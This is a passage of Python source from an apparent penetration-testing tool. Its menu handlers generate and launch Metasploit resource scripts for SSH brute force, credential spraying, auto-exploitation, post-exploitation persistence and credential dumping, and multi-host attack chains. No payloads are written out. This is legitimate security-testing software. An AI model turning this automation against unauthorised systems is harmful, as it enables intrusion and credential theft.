                click.pause()

            elif choice == 6:
                # Generate SSH brute force script
                hm = HostManager()
                all_services = []

                for host in hm.list_hosts(engagement_id):
                    services = hm.get_host_services(host['id'])
                    all_services.extend([{**s, 'ip_address': host['ip_address']} for s in services])

                ssh_services = [s for s in all_services if (s.get('service_name') or '').lower() == 'ssh']

                if not ssh_services:
                    click.echo(click.style("\n✗ No SSH services found!", fg='yellow'))
                    click.pause()
                    continue

                ssh_hosts = [{'ip_address': s['ip_address'], 'port': s['port']} for s in ssh_services]
                script = msf_gen.generate_ssh_bruteforce_script(ssh_hosts)
                filename = f"ssh_bruteforce_{engagement_id}.rc"
                filepath = msf_gen.save_script(script, filename)

                click.echo(click.style(f"\n✓ Generated SSH brute force script:", fg='green'))
                click.echo(f"  {filepath}")
                click.echo(f"\n  Targets: {len(ssh_hosts)} SSH service(s)")
                click.echo(f"  Launch: msfconsole -r {filepath}")
                click.pause()

            elif choice == 7:
                # Generate credential spray script
                hm = HostManager()
                cm = CredentialsManager()

                all_services = []
                for host in hm.list_hosts(engagement_id):
                    services = hm.get_host_services(host['id'])
                    all_services.extend([{**s, 'ip_address': host['ip_address']} for s in services])

                creds = cm.list_credentials(engagement_id)

                if not creds:
                    click.echo(click.style("\n✗ No credentials found!", fg='yellow'))
                    click.pause()
                    continue

                script = msf_gen.generate_credential_spray_script(creds, all_services)
                filename = f"credential_spray_{engagement_id}.rc"
                filepath = msf_gen.save_script(script, filename)

                click.echo(click.style(f"\n✓ Generated credential spray script:", fg='green'))
                click.echo(f"  {filepath}")
                click.echo(f"\n  Credentials: {len(creds)} to test")
                click.echo(f"  Services: {len(all_services)} target(s)")
                click.echo(f"  Launch: msfconsole -r {filepath}")
                click.pause()

            elif choice == 8:
                # Generate exploit script from findings
                fm = FindingsManager()
                findings = fm.list_findings(engagement_id)

                # Filter to exploitable findings
                exploitable = [f for f in findings if f.get('severity') in ['critical', 'high']]

                if not exploitable:
                    click.echo(click.style("\n✗ No high/critical findings to exploit!", fg='yellow'))
                    click.pause()
                    continue

                script = msf_gen.generate_exploit_script(exploitable)
                filename = f"auto_exploit_{engagement_id}.rc"
                filepath = msf_gen.save_script(script, filename)

                click.echo(click.style(f"\n✓ Generated exploit script:", fg='green'))
                click.echo(f"  {filepath}")
                click.echo(f"\n  Vulnerabilities: {len(exploitable)}")
                click.echo(click.style("  ⚠ Review script before running!", fg='yellow', bold=True))
                click.echo(f"  Launch: msfconsole -r {filepath}")
                click.pause()

            elif choice == 9:
                # Generate web exploitation script
                hm = HostManager()
                all_services = []

                for host in hm.list_hosts(engagement_id):
                    services = hm.get_host_services(host['id'])
                    all_services.extend([{**s, 'ip_address': host['ip_address']} for s in services])

                web_services = [s for s in all_services if 'http' in (s.get('service_name') or '').lower()]

                if not web_services:
                    click.echo(click.style("\n✗ No web services found!", fg='yellow'))
                    click.pause()
                    continue

                # Get findings for vulnerabilities
                fm = FindingsManager()
                findings = fm.list_findings(engagement_id)
                web_vulns = [f for f in findings if 'http' in f.get('affected_target', '').lower() or 'web' in f.get('title', '').lower()]

                script = msf_gen.generate_web_exploitation_script(web_services, web_vulns)
                filename = f"web_exploit_{engagement_id}.rc"
                filepath = msf_gen.save_script(script, filename)

                click.echo(click.style(f"\n✓ Generated web exploitation script:", fg='green'))
                click.echo(f"  {filepath}")
                click.echo(f"\n  Targets: {len(web_services)} web service(s)")
                click.echo(f"  Vulnerabilities: {len(web_vulns)} web finding(s)")
                click.echo(f"  Launch: msfconsole -r {filepath}")
                click.pause()

            elif choice == 10:
                # Generate post-exploitation script
                hm = HostManager()
                hosts = hm.list_hosts(engagement_id)

                if not hosts:
                    click.echo(click.style("\n✗ No hosts found!", fg='yellow'))
                    click.pause()
                    continue

                # Use interactive selector for compromised hosts
                from souleyez.ui.interactive_selector import interactive_select

                host_items = []
                for host in hosts:
                    services = hm.get_host_services(host.get('id'))
                    host_items.append({
                        'ip_address': host.get('ip_address', 'N/A'),
                        'hostname': host.get('hostname', ''),
                        'os_name': host.get('os_name', ''),
                        'services': len(services) if services else 0
                    })

                selected_ips = set()
                columns = [
                    {'name': 'IP Address', 'width': 16, 'key': 'ip_address'},
                    {'name': 'Hostname', 'key': 'hostname'},
                    {'name': 'OS', 'key': 'os_name'},
                    {'name': 'Services', 'width': 10, 'key': 'services', 'justify': 'right'},
                ]

                def format_msf_cell(item: dict, key: str) -> str:
                    value = item.get(key)
                    if value is None or value == '':
                        return '-'
                    if key == 'services':
                        if value > 0:
                            return f'[green]{value}[/green]'
                        return '0'
                    return str(value)

                interactive_select(
                    items=host_items,
                    columns=columns,
                    selected_ids=selected_ips,
                    get_id=lambda h: h.get('ip_address'),
                    title='SELECT COMPROMISED HOSTS',
                    format_cell=format_msf_cell
                )

                if not selected_ips:
                    click.echo(click.style("No hosts selected!", fg='yellow'))
                    click.pause()
                    continue

                compromised = [{'ip_address': ip, 'os': 'linux'} for ip in selected_ips]

                # Ask for objectives
                click.echo("\nPost-exploitation objectives:")
                click.echo("  [1] Privilege escalation")
                click.echo("  [2] Credential dumping")
                click.echo("  [3] Network pivoting")
                click.echo("  [4] Persistence")
                click.echo("  [5] All of the above")

                obj_choice = click.prompt("Select", type=int, default=5)

                if obj_choice == 5:
                    objectives = ['escalate', 'dump_creds', 'pivot', 'persist']
                else:
                    obj_map = {1: ['escalate'], 2: ['dump_creds'], 3: ['pivot'], 4: ['persist']}
                    objectives = obj_map.get(obj_choice, ['escalate'])

                script = msf_gen.generate_post_exploitation_script(compromised, objectives)
                filename = f"post_exploit_{engagement_id}.rc"
                filepath = msf_gen.save_script(script, filename)

                click.echo(click.style(f"\n✓ Generated post-exploitation script:", fg='green'))
                click.echo(f"  {filepath}")
                click.echo(f"\n  Hosts: {len(compromised)}")
                click.echo(f"  Objectives: {', '.join(objectives)}")
                click.echo(f"  Launch: msfconsole -r {filepath}")
                click.pause()

            elif choice == 11:
                # Generate enumeration script
                hm = HostManager()
                all_services = []

                for host in hm.list_hosts(engagement_id):
                    services = hm.get_host_services(host['id'])
                    all_services.extend([{**s, 'ip_address': host['ip_address']} for s in services])

                if not all_services:
                    click.echo(click.style("\n✗ No services found!", fg='yellow'))
                    click.pause()
                    continue

                # Ask for enumeration depth
                click.echo("\nEnumeration depth:")
                click.echo("  [1] Light (version detection only)")
                click.echo("  [2] Standard (versions + basic enumeration)")
                click.echo("  [3] Aggressive (comprehensive enumeration)")

                depth_choice = click.prompt("Select", type=int, default=2)
                depth_map = {1: 'light', 2: 'standard', 3: 'aggressive'}
                depth = depth_map.get(depth_choice, 'standard')

                script = msf_gen.generate_enumeration_script(all_services, depth)
                filename = f"enumeration_{depth}_{engagement_id}.rc"
                filepath = msf_gen.save_script(script, filename)

                click.echo(click.style(f"\n✓ Generated enumeration script:", fg='green'))
                click.echo(f"  {filepath}")
                click.echo(f"\n  Services: {len(all_services)}")
                click.echo(f"  Depth: {depth}")
                click.echo(f"  Launch: msfconsole -r {filepath}")
                click.pause()

            elif choice == 12:
                # Generate database attack script
                hm = HostManager()
                all_services = []

                for host in hm.list_hosts(engagement_id):
                    services = hm.get_host_services(host['id'])
                    all_services.extend([{**s, 'ip_address': host['ip_address']} for s in services])

                db_services = [
                    s for s in all_services
                    if any(db in (s.get('service_name') or '').lower() for db in ['mysql', 'postgresql', 'mssql', 'postgres'])
                ]

                if not db_services:
                    click.echo(click.style("\n✗ No database services found!", fg='yellow'))
                    click.pause()
                    continue

                # Ask for attack type
                click.echo("\nDatabase attack type:")
                click.echo("  [1] Authentication brute force")
                click.echo("  [2] Data extraction (requires creds)")
                click.echo("  [3] Exploitation (CVE-based)")

                attack_choice = click.prompt("Select", type=int, default=1)
                attack_map = {1: 'auth', 2: 'extract', 3: 'exploit'}
                attack_type = attack_map.get(attack_choice, 'auth')

                script = msf_gen.generate_database_attack_script(db_services, attack_type)
                filename = f"database_{attack_type}_{engagement_id}.rc"
                filepath = msf_gen.save_script(script, filename)

                click.echo(click.style(f"\n✓ Generated database attack script:", fg='green'))
                click.echo(f"  {filepath}")
                click.echo(f"\n  Database services: {len(db_services)}")
                click.echo(f"  Attack type: {attack_type}")
                click.echo(f"  Launch: msfconsole -r {filepath}")
                click.pause()

            # MODULE RECOMMENDATIONS handlers (13-14)
            elif choice == 13:
                # Get module recommendations for a service
                service = click.prompt("\nEnter service name (ssh, smb, http, rdp)", type=str)
                version = click.prompt("Enter service version (or press Enter to skip)", type=str, default='', show_default=False)

                click.echo("\nRisk levels to include:")
                click.echo("  [1] Safe only")
                click.echo("  [2] Safe + Noisy")
                click.echo("  [3] All (including exploits)")
                risk_choice = click.prompt("Select", type=int, default=2)

                if risk_choice == 1:
                    risk_levels = ['safe']
                elif risk_choice == 2:
                    risk_levels = ['safe', 'noisy']
                else:
                    risk_levels = ['safe', 'noisy', 'moderate', 'dangerous']

                recommendations = msf_selector.get_recommendations(service, include_risk=risk_levels)

                if not recommendations:
                    click.echo(click.style(f"\n✗ No recommendations for '{service}'", fg='yellow'))
                    click.pause()
                    continue

                click.echo(click.style(f"\n📋 Recommendations for {service.upper()}:", bold=True, fg='cyan'))
                click.echo("=" * 70)

                for i, module in enumerate(recommendations, 1):
                    risk_color = {
                        'safe': 'green',
                        'noisy': 'yellow',
                        'moderate': 'yellow',
                        'dangerous': 'red'
                    }.get(module['risk'], 'white')

                    click.echo(f"\n{i}. {module['name']}")
                    click.echo(f"   Path: {module['path']}")
                    click.echo(f"   Type: {module['category']}")
                    click.echo(f"   Risk: " + click.style(module['risk'].upper(), fg=risk_color))
                    click.echo(f"   Desc: {module['description']}")

                click.echo()
                click.pause()

            elif choice == 14:
                # Find exploits for vulnerability
                fm = FindingsManager()
                findings = fm.list_findings(engagement_id)

                click.echo("\n" + "=" * 70)
                click.echo("SELECT VULNERABILITY")
                click.echo("=" * 70 + "\n")

                for i, finding in enumerate(findings[:20], 1):
                    severity_color = {
                        'critical': 'red',
                        'high': 'red',
                        'medium': 'yellow',
                        'low': 'blue'
                    }.get(finding.get('severity'), 'white')

                    click.echo(f"{i:2}. [{click.style(finding['severity'][:4].upper(), fg=severity_color)}] {finding['title'][:60]}")

                click.echo()
                click.echo("  [q] Cancel")
                idx_input = click.prompt("Select finding number", type=str, default='q').strip()

                if idx_input == 'q':
                    continue
                try:
                    idx = int(idx_input)
                except ValueError:
                    continue

                if idx < 1 or idx > len(findings):
                    continue

                selected = findings[idx - 1]

                # Extract CVEs from finding description
                import re
                description = selected.get('description', '') + ' ' + selected.get('title', '')
                cve_pattern = r'CVE-\d{4}-\d{4,7}'
                cves = re.findall(cve_pattern, description, re.IGNORECASE)

                # Try to find matching exploits
                matches = msf_selector.match_vulnerability_to_exploit(
                    selected.get('title', ''),
                    selected.get('description', ''),
                    cves
                )

                if not matches:
                    click.echo(click.style("\n✗ No known exploits found for this vulnerability", fg='yellow'))
                    if cves:
                        click.echo(f"  Extracted CVEs: {', '.join(cves)}")
                    click.pause()
                    continue

                click.echo(click.style(f"\n🎯 Potential Exploits:", bold=True, fg='green'))
                if cves:
                    click.echo(f"   Extracted CVEs: " + click.style(', '.join(cves), fg='yellow', bold=True))
                click.echo("=" * 70)

                for i, exploit in enumerate(matches, 1):
                    click.echo(f"\n{i}. {exploit['name']}")
                    click.echo(f"   Module: {exploit['path']}")
                    click.echo(f"   Risk: " + click.style(exploit['risk'].upper(), fg='red'))
                    if 'score' in exploit:
                        click.echo(f"   Score: " + click.style(f"{exploit['score']:.1f}/100", fg='green', bold=True))
                    click.echo(f"   Description: {exploit['description']}")
                    if 'cve' in exploit:
                        click.echo(f"   CVEs: {', '.join(exploit['cve'])}")

                click.echo()
                click.pause()

            # AUTO-MAPPING handlers (15-17)
            elif choice == 15:
                # Map Services to Modules
                from souleyez.core.msf_auto_mapper import MSFAutoMapper

                click.echo(click.style("\n🗺️  Mapping all services to MSF modules...", fg='cyan', bold=True))

                mapper = MSFAutoMapper(engagement_id)
                service_map = mapper.map_services_to_modules()

                if not service_map:
                    click.echo(click.style("\n✗ No services found to map!", fg='yellow'))
                    click.pause()
                    continue

                click.echo(click.style(f"\n✓ Mapped {len(service_map)} service(s)", fg='green'))
                click.echo("=" * 70)

                service_items = list(service_map.items())[:10]

                for i, (service_id, modules) in enumerate(service_items, 1):
                    hm = HostManager()
                    service_info = None
                    for host in hm.list_hosts(engagement_id):
                        services = hm.get_host_services(host['id'])
                        for svc in services:
                            if svc['id'] == service_id:
                                service_info = {**svc, 'host': host['ip_address']}
                                break
                        if service_info:
                            break

                    if service_info:
                        click.echo(f"\n{i}. {service_info['host']}:{service_info.get('port', '?')} - {service_info.get('service_name', 'unknown')}")
                        if service_info.get('version'):
                            click.echo(f"   Version: {service_info['version']}")

                    scanners = [m for m in modules if 'auxiliary/scanner' in m.get('path', '')]
                    exploits = [m for m in modules if 'exploit/' in m.get('path', '')]

                    click.echo(f"   Scanners: {len(scanners)} available")
                    if scanners:
                        click.echo(f"   Top: {scanners[0]['path']}")

                    click.echo(f"   Exploits: {len(exploits)} available")
                    if exploits:
                        click.echo(f"   Top: " + click.style(exploits[0]['path'], fg='yellow', bold=True))
                        if 'score' in exploits[0]:
                            click.echo(f"   Score: " + click.style(f"{exploits[0]['score']:.1f}/100", fg='green'))

                if len(service_map) > 10:
                    click.echo(f"\n... and {len(service_map) - 10} more services")

                click.echo()
                click.pause()

            elif choice == 16:
                # Map Findings to Exploits
                from souleyez.core.msf_auto_mapper import MSFAutoMapper

                click.echo(click.style("\n🔍 Extracting CVEs from findings and mapping to exploits...", fg='cyan', bold=True))

                mapper = MSFAutoMapper(engagement_id)
                finding_map = mapper.map_findings_to_exploits()

                if not finding_map:
                    click.echo(click.style("\n✗ No findings with CVEs found!", fg='yellow'))
                    click.pause()
                    continue

                click.echo(click.style(f"\n✓ Mapped {len(finding_map)} finding(s)", fg='green'))
                click.echo("=" * 70)

                finding_items = list(finding_map.items())[:10]
                fm = FindingsManager()
                all_findings = fm.list_findings(engagement_id)

                for i, (finding_id, exploits) in enumerate(finding_items, 1):
                    finding = next((f for f in all_findings if f['id'] == finding_id), None)
                    if not finding:
                        continue

                    severity_color = {
                        'critical': 'red',
                        'high': 'red',
                        'medium': 'yellow',
                        'low': 'blue'
                    }.get(finding.get('severity'), 'white')

                    click.echo(f"\n{i}. [{click.style(finding['severity'][:4].upper(), fg=severity_color)}] {finding['title'][:50]}")

                    import re
                    description = finding.get('description', '') + ' ' + finding.get('title', '')
                    cve_pattern = r'CVE-\d{4}-\d{4,7}'
                    cves = re.findall(cve_pattern, description, re.IGNORECASE)

                    if cves:
                        click.echo(f"   CVEs: " + click.style(', '.join(cves), fg='yellow'))

                    click.echo(f"   Exploits: {len(exploits)} found")
                    for exploit in exploits[:3]:
                        click.echo(f"     • {exploit['path']}")
                        if 'score' in exploit:
                            click.echo(f"       Score: " + click.style(f"{exploit['score']:.1f}/100", fg='green'))

                if len(finding_map) > 10:
                    click.echo(f"\n... and {len(finding_map) - 10} more findings")

                click.echo()
                click.pause()

            elif choice == 17:
                # Generate Attack Surface Report
                from souleyez.core.msf_auto_mapper import MSFAutoMapper

                click.echo(click.style("\n📊 Generating attack surface intelligence report...", fg='cyan', bold=True))

                mapper = MSFAutoMapper(engagement_id)
                report = mapper.generate_attack_surface_report()

                click.echo("\n" + "=" * 70)
                click.echo(click.style("ATTACK SURFACE REPORT", bold=True, fg='cyan'))
                click.echo("=" * 70)

                click.echo(f"\n📈 Overview:")
                click.echo(f"   Total Services: {report['total_services']}")
                click.echo(f"   Exploitable Services: {report['exploitable_services']}")
                click.echo(f"   Critical Targets: " + click.style(str(len(report['critical_targets'])), fg='red', bold=True))

                if report['critical_targets']:
                    click.echo(f"\n🎯 Critical Targets (Score ≥ 80):")
                    click.echo("-" * 70)

                    for i, target in enumerate(report['critical_targets'][:5], 1):
                        click.echo(f"\n{i}. {target['host']}:{target['port']} - {target['service']}")
                        if target.get('vulnerability'):
                            click.echo(f"   Vulnerability: " + click.style(target['vulnerability'], fg='red', bold=True))

                        modules = target.get('modules', [])
                        if modules:
                            click.echo(f"   Best Module: {modules[0]}")

                        prob = target.get('success_probability', 'unknown')
                        prob_color = {'high': 'green', 'medium': 'yellow', 'low': 'red'}.get(prob, 'white')
                        click.echo(f"   Success Probability: " + click.style(prob.upper(), fg=prob_color, bold=True))

                    if len(report['critical_targets']) > 5:
                        click.echo(f"\n   ... and {len(report['critical_targets']) - 5} more critical targets")

                if report.get('recommended_attack_path'):
                    click.echo(f"\n🛣️  Recommended Attack Path:")
                    click.echo("-" * 70)
                    for i, step in enumerate(report['recommended_attack_path'], 1):
                        click.echo(f"   {i}. {step}")

                click.echo()
                click.pause()

            # ATTACK CHAINS handlers (18-20)
            elif choice == 18:
                # Build Progressive Chain
                from souleyez.core.msf_chain_engine import MSFChainEngine

                hm = HostManager()
                hosts = hm.list_hosts(engagement_id)

                if not hosts:
                    click.echo(click.style("\n✗ No hosts found!", fg='yellow'))
                    click.pause()
                    continue

                click.echo("\n" + "=" * 70)
                click.echo("BUILD PROGRESSIVE ATTACK CHAIN")
                click.echo("=" * 70 + "\n")

                for i, host in enumerate(hosts[:10], 1):
                    status_icon = "🟢" if host.get('status') == 'up' else "🔴"
                    click.echo(f"{i:2}. {status_icon} {host['ip_address']} - {host.get('hostname', 'unknown')}")

                click.echo()
                idx = click.prompt("Select target host", type=int, default=1)

                if idx < 1 or idx > len(hosts):
                    continue

                target_host = hosts[idx - 1]

                click.echo("\nSelect objectives (comma-separated):")
                click.echo("  1. Reconnaissance")
                click.echo("  2. Vulnerability Assessment")
                click.echo("  3. Exploitation")
                click.echo("  4. Post-Exploitation")
                click.echo("  5. All of the above")

                obj_choice = click.prompt("Select", type=str, default='5')

                if obj_choice == '5':
                    objectives = ['recon', 'vuln_scan', 'exploit', 'post_exploit']
                else:
                    obj_map = {'1': 'recon', '2': 'vuln_scan', '3': 'exploit', '4': 'post_exploit'}
                    objectives = [obj_map.get(x.strip(), 'recon') for x in obj_choice.split(',')]

                click.echo("\nRisk tolerance:")
                click.echo("  1. Safe (only proven exploits)")
                click.echo("  2. Moderate (some risk)")
                click.echo("  3. Aggressive (all available exploits)")

                risk_choice = click.prompt("Select", type=int, default=2)
                risk_map = {1: 'safe', 2: 'moderate', 3: 'aggressive'}
                risk_tolerance = risk_map.get(risk_choice, 'moderate')

                click.echo(click.style("\n⛓️  Building progressive attack chain...", fg='cyan', bold=True))

                engine = MSFChainEngine(engagement_id)
                chain = engine.build_attack_chain(
                    target_hosts=[target_host['id']],
                    objectives=objectives,
                    risk_tolerance=risk_tolerance
                )

                click.echo(click.style("\n✓ Attack chain built successfully!", fg='green'))
                click.echo("=" * 70)

                click.echo(f"\nTarget: {chain['target']}")
                click.echo(f"Risk: " + click.style(chain['risk_tolerance'].upper(), fg='yellow'))
                click.echo(f"Phases: {len(chain['phases'])}")

                for i, phase in enumerate(chain['phases'], 1):
                    click.echo(f"\n  Phase {i}: {phase['name'].replace('_', ' ').title()}")
                    click.echo(f"  Modules: {len(phase['modules'])}")
                    if phase.get('auto_advance'):
                        click.echo(f"  Auto-advance: " + click.style("✓", fg='green'))
                    if phase.get('success_criteria'):
                        click.echo(f"  Success: {', '.join(phase['success_criteria'])}")

                click.echo()
                click.pause()

            elif choice == 19:
                # Load Chain Template
                from souleyez.core.msf_chain_engine import MSFChainTemplates, MSFChainEngine

                click.echo("\n" + "=" * 70)
                click.echo("ATTACK CHAIN TEMPLATES")
                click.echo("=" * 70 + "\n")

                templates = MSFChainTemplates.TEMPLATES

                for i, (name, template) in enumerate(templates.items(), 1):
                    click.echo(f"{i}. {template['name']}")
                    click.echo(f"   {template['description']}")
                    click.echo()

                idx = click.prompt("Select template", type=int, default=1)

                template_names = list(templates.keys())
                if idx < 1 or idx > len(template_names):
                    continue

                selected_template = template_names[idx - 1]
                template = MSFChainTemplates.get_template(selected_template)

                click.echo(click.style(f"\n✓ Loaded template: {template['name']}", fg='green', bold=True))
                click.echo("=" * 70)

                click.echo(f"\nDescription: {template['description']}")
                click.echo(f"Phases: {len(template['phases'])}")

                for i, phase in enumerate(template['phases'], 1):
                    click.echo(f"\n  Phase {i}: {phase['name'].replace('_', ' ').title()}")
                    if phase.get('description'):
                        click.echo(f"  {phase['description']}")
                    if phase.get('auto_advance'):
                        click.echo(f"  Auto-advance: " + click.style("✓", fg='green'))

                click.echo()
                if click.confirm("Instantiate this template for an engagement host?"):
                    hm = HostManager()
                    hosts = hm.list_hosts(engagement_id)

                    if hosts:
                        click.echo("\nSelect target host:")
                        for i, host in enumerate(hosts[:10], 1):
                            click.echo(f"{i}. {host['ip_address']}")

                        host_idx = click.prompt("Select", type=int, default=1)
                        if 1 <= host_idx <= len(hosts):
                            target = hosts[host_idx - 1]

                            engine = MSFChainEngine(engagement_id)
                            chain = engine.generate_progressive_chain(
                                target_host_id=target['id'],
                                template_name=selected_template
                            )

                            click.echo(click.style(f"\n✓ Template instantiated for {target['ip_address']}", fg='green'))

                click.echo()
                click.pause()

            elif choice == 20:
                # Build Multi-Host Chain
                from souleyez.core.msf_chain_engine import MSFChainEngine

                hm = HostManager()
                hosts = hm.list_hosts(engagement_id)

                if not hosts:
                    click.echo(click.style("\n✗ No hosts found!", fg='yellow'))
                    click.pause()
                    continue

                click.echo("\n" + "=" * 70)
                click.echo("BUILD MULTI-HOST ATTACK CHAIN")
                click.echo("=" * 70 + "\n")

                for i, host in enumerate(hosts[:20], 1):
                    status_icon = "🟢" if host.get('status') == 'up' else "🔴"
                    click.echo(f"{i:2}. {status_icon} {host['ip_address']} - {host.get('hostname', 'unknown')}")

                click.echo()
                host_nums = click.prompt("Select hosts (comma-separated numbers)", type=str, default='1,2,3')

                try:
                    indices = [int(x.strip())-1 for x in host_nums.split(',')]
                    target_ids = [hosts[i]['id'] for i in indices if 0 <= i < len(hosts)]
                except:
                    click.echo(click.style("Invalid selection", fg='red'))
                    click.pause()
                    continue

                if not target_ids:
                    continue

                click.echo("\nSelect objectives (comma-separated):")
                click.echo("  1. Reconnaissance")
                click.echo("  2. Exploitation")
                click.echo("  3. Lateral Movement")
                click.echo("  4. Privilege Escalation")
                click.echo("  5. All of the above")

                obj_choice = click.prompt("Select", type=str, default='5')

                if obj_choice == '5':
                    objectives = ['recon', 'exploit', 'lateral', 'escalate']
                else:
                    obj_map = {'1': 'recon', '2': 'exploit', '3': 'lateral', '4': 'escalate'}
                    objectives = [obj_map.get(x.strip(), 'recon') for x in obj_choice.split(',')]

                click.echo(click.style(f"\n⛓️  Building multi-host chain for {len(target_ids)} host(s)...", fg='cyan', bold=True))

                engine = MSFChainEngine(engagement_id)
                chain = engine.build_attack_chain(
                    target_hosts=target_ids,
                    objectives=objectives,
                    risk_tolerance='moderate'
                )

                click.echo(click.style("\n✓ Multi-host attack chain built!", fg='green'))
                click.echo("=" * 70)

                click.echo(f"\nTargets: {len(target_ids)} host(s)")
                click.echo(f"Phases: {len(chain['phases'])}")

                for i, phase in enumerate(chain['phases'], 1):
                    click.echo(f"\n  Phase {i}: {phase['name'].replace('_', ' ').title()}")
                    click.echo(f"  Modules: {len(phase['modules'])}")

                click.echo()
                click.pause()

            # LAUNCH handlers (21-22)
            elif choice == 21:
                # Launch MSF with resource script
                if not msf_console.is_available():
                    click.echo(click.style("\n✗ msfconsole not found!", fg='red'))
                    click.pause()
                    continue

                import glob
                scripts = glob.glob(os.path.join(msf_gen.output_dir, '*.rc'))

                if not scripts:
                    click.echo(click.style("\n✗ No resource scripts found!", fg='yellow'))
                    click.echo("Generate a script first (options 5-12)")
                    click.pause()
                    continue

                click.echo("\n" + "=" * 70)
                click.echo("SELECT RESOURCE SCRIPT")
                click.echo("=" * 70 + "\n")

                for i, script in enumerate(scripts, 1):
                    click.echo(f"{i}. {os.path.basename(script)}")

                click.echo()
                click.echo("  [q] Cancel")
                idx_input = click.prompt("Select script number", type=str, default='q').strip()

                if idx_input == 'q':
                    continue
                try:
                    idx = int(idx_input)
                except ValueError:
                    continue

                if idx < 1 or idx > len(scripts):
                    continue

                selected_script = scripts[idx - 1]

                click.echo(click.style(f"\n🚀 Launching msfconsole with {os.path.basename(selected_script)}...", fg='green'))
                click.echo()
                click.pause("Press Enter to continue...")

                msf_console.launch_with_resource(selected_script, background=False)

            elif choice == 22:
                # Interactive MSF Console
                if not msf_console.is_available():
                    click.echo(click.style("\n✗ msfconsole not found!", fg='red'))
                    click.pause()
                    continue

                _launch_interactive_msfconsole(engagement_id)

            else:
                click.echo(click.style("Invalid selection!", fg='red'))
                click.pause()

        except (KeyboardInterrupt, click.Abort):
            return




def _show_migration_status():
    """Show database migration status."""
    from souleyez.storage.migrations.migration_manager import MigrationManager
    from souleyez.storage.database import get_db
    
    DesignSystem.clear_screen()
    
    # Get database path
    db_instance = get_db()
    db_path = db_instance.db_path
    
    # Show status
    manager = MigrationManager(db_path)
    manager.status()
    
    click.echo()
    click.pause("Press any key to continue...")


def _run_migrations():
    """Apply pending database migrations."""
    from souleyez.storage.migrations.migration_manager import MigrationManager
    from souleyez.storage.database import get_db
    
    DesignSystem.clear_screen()
    click.echo()
    click.echo(click.style("🔄 DATABASE MIGRATION", bold=True, fg='cyan'))
    click.echo("=" * 80)
    click.echo()
    
    # Get database path
    db_instance = get_db()
    db_path = db_instance.db_path
    
    # Check for pending migrations
    manager = MigrationManager(db_path)
    pending = manager.get_pending_migrations()
    
    if not pending:
        click.echo(click.style("✅ Database is already up to date. No migrations to apply.", fg='green'))
        click.echo()
        click.pause("Press any key to continue...")
        return
    
    # Show pending migrations
    click.echo(f"Found {len(pending)} pending migration(s):")
    for mig in pending:
        click.echo(f"  [{mig['version']}] {mig['name']}")
    click.echo()
    
    # Confirm
    if not click.confirm("Apply these migrations?", default=True):
        click.echo(click.style("Migration cancelled.", fg='yellow'))
        click.pause()
        return
    
    click.echo()
    
    # Run migrations
    applied = manager.migrate()
    
    click.echo()
    click.pause("Press any key to continue...")


def _view_report(reports: list):
    """View a report by opening it."""
    import subprocess

    click.echo()
    report_input = click.prompt("Enter report number to view (q to cancel)", type=str, default='q').strip()

    if report_input == 'q':
        return
    try:
        report_num = int(report_input)
    except ValueError:
        return
    if report_num < 1 or report_num > len(reports):
        return

    selected_report = reports[report_num - 1]

    try:
        if selected_report.suffix == '.html':
            subprocess.run(['xdg-open', str(selected_report)], check=False)
            click.echo(click.style(f"✓ Opening {selected_report.name} in browser...", fg='green'))
        else:
            # Try to open markdown in default editor
            subprocess.run(['xdg-open', str(selected_report)], check=False)
            click.echo(click.style(f"✓ Opening {selected_report.name} in editor...", fg='green'))

        click.pause("\nPress any key to continue...")
    except Exception as e:
        click.echo(click.style(f"✗ Error opening report: {e}", fg='red'))
        click.pause()


def _delete_report(reports: list):
    """Delete a report file."""

    click.echo()
    report_input = click.prompt("Enter report number to delete (q to cancel)", type=str, default='q').strip()

    if report_input == 'q':
        return
    try:
        report_num = int(report_input)
    except ValueError:
        return
    if report_num < 1 or report_num > len(reports):
        return

    selected_report = reports[report_num - 1]

    if click.confirm(f"Are you sure you want to delete '{selected_report.name}'?", default=False):
        try:
            os.remove(selected_report)
            click.echo(click.style(f"✓ Deleted {selected_report.name}", fg='green'))
        except Exception as e:
            click.echo(click.style(f"✗ Error deleting report: {e}", fg='red'))
    else:
        click.echo("Cancelled.")

    click.pause("\nPress any key to continue...")


def _list_all_reports():
    """List all reports with details."""
    from pathlib import Path
    import datetime

    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 70)
    click.echo("ALL REPORTS")
    click.echo("=" * 70 + "\n")

    # Use same logic as manage_reports_menu to find reports directory
    project_root = os.getcwd()
    if 'souleyez' in project_root and os.path.exists(os.path.join(project_root, 'setup.py')):
        reports_dir = Path(project_root) / "reports"
    else:
        reports_dir = Path(os.getcwd()) / "reports"

    if not reports_dir.exists():
        click.echo("No reports directory found.")
        click.pause()
        return

    reports = sorted(reports_dir.glob("*.*"), key=lambda p: p.stat().st_mtime, reverse=True)

    if not reports:
        click.echo("No reports found.")
    else:
        for rpt in reports:
            size = rpt.stat().st_size
            mtime = datetime.datetime.fromtimestamp(rpt.stat().st_mtime)
            file_type = "HTML" if rpt.suffix == '.html' else "Markdown"

            click.echo(f"📄 {rpt.name}")
            click.echo(f"   Type: {file_type}")
            click.echo(f"   Size: {size:,} bytes")
            click.echo(f"   Modified: {mtime.strftime('%Y-%m-%d %H:%M:%S')}")
            click.echo()

    click.pause("Press any key to continue...")


def _export_to_metasploit_menu():
    """Menu for exporting data to Metasploit format."""
    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 70)
    click.echo("EXPORT TO METASPLOIT")
    click.echo("=" * 70 + "\n")
    
    click.echo("This feature allows you to create MSF-compatible XML exports.")
    click.echo()
    _help_create_msf_export()


def _msf_generate_scripts_menu():
    """Generate MSF resource scripts submenu."""
    from souleyez.core.msf_integration import MSFResourceGenerator, MSFConsoleManager
    from souleyez.storage.smb_shares import SMBSharesManager
    from souleyez.storage.credentials import CredentialsManager
    from souleyez.storage.findings import FindingsManager
    from souleyez.storage.engagements import EngagementManager
    from souleyez.storage.hosts import HostManager
    
    em = EngagementManager()
    current_ws = em.get_current()
    
    if not current_ws:
        click.echo(click.style("No engagement selected!", fg='red'))
        click.pause()
        return
    
    engagement_id = current_ws['id']
    msf_gen = MSFResourceGenerator()
    msf_console = MSFConsoleManager()
    
    while True:
        DesignSystem.clear_screen()
        click.echo("\n" + "=" * 70)
        click.echo("GENERATE MSF RESOURCE SCRIPTS")
        click.echo("=" * 70 + "\n")
        
        # Show MSF availability
        if msf_console.is_available():
            click.echo(click.style("  ✓ msfconsole detected", fg='green'))
        else:
            click.echo(click.style("  ✗ msfconsole not found", fg='yellow'))
        
        click.echo()
